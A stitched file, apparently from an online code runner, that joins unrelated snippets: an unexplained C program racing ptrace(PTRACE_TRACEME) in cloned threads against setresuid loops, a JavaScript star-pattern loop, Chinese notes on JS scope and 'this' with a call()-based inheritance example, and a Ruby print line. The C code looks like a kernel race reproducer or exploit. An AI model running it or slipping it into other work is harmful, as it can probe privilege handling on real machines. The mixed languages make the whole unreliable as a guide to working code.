#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sched.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
int g(void *dummy) {
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
return -1;
return 0;
}
int main(void) {
pid_t child = fork();
if (child == -1) return -1;
if (child == 0) {
static char cs[0x100000];
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (1) {
if (clone(g, cs+sizeof(cs), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1)break;
}
}
uid_t uid = getuid();
while (1) {
if (setresuid(uid, uid, uid)) break;
}
}
var html="";
for (let i=1;i<=5;i++){
for(let j=0;j<i;j++){
html+="*";
}
html+="\n";
}
console.log(html);
/*
- JS作用域与上下文
作用域:与调用函数,访问变量的能力有关 作用域分为:局部和全局(在局部作用域里可以访问到全局作用域的变量,但在局部作用域外面就访问不到局部作用里面所设定的变量)
上下文:与this关键字有关 是调用当前可执行代码的引用
this总是指向调用这个的方法的对象
js里的this 通常是当前函数的拥有者
this 是js的一个关键字 代表函数运行时自动生成的一个内部对象 只能在函数内部使用
1.作为对象的方法
this在方法内部,this就指向调用这个方法的对象
2.函数的调用
this指向执行环境中的全局对象(浏览器->window nodejs->global)
3.构造函数
this所在的方法被实例对象所调用,那么this就指向这个实例对象
更改上下文方法(更改this指向的内容,可方便地实现继承):
call(list);
apply(array);
根据call()、apply()改变上下文this指向的特性,也可以方便实现继承;
*/
function Pet(words){
this.words = words
this.speak = function(){
console.log(this.words)
}
}
function Dog(words){
Pet.call(this, words)
// Pet.apply(this, arguments)
}
var dog = new Dog('wang!')
dog.speak()
print "Hello JSRUN! \n\n - from Ruby ."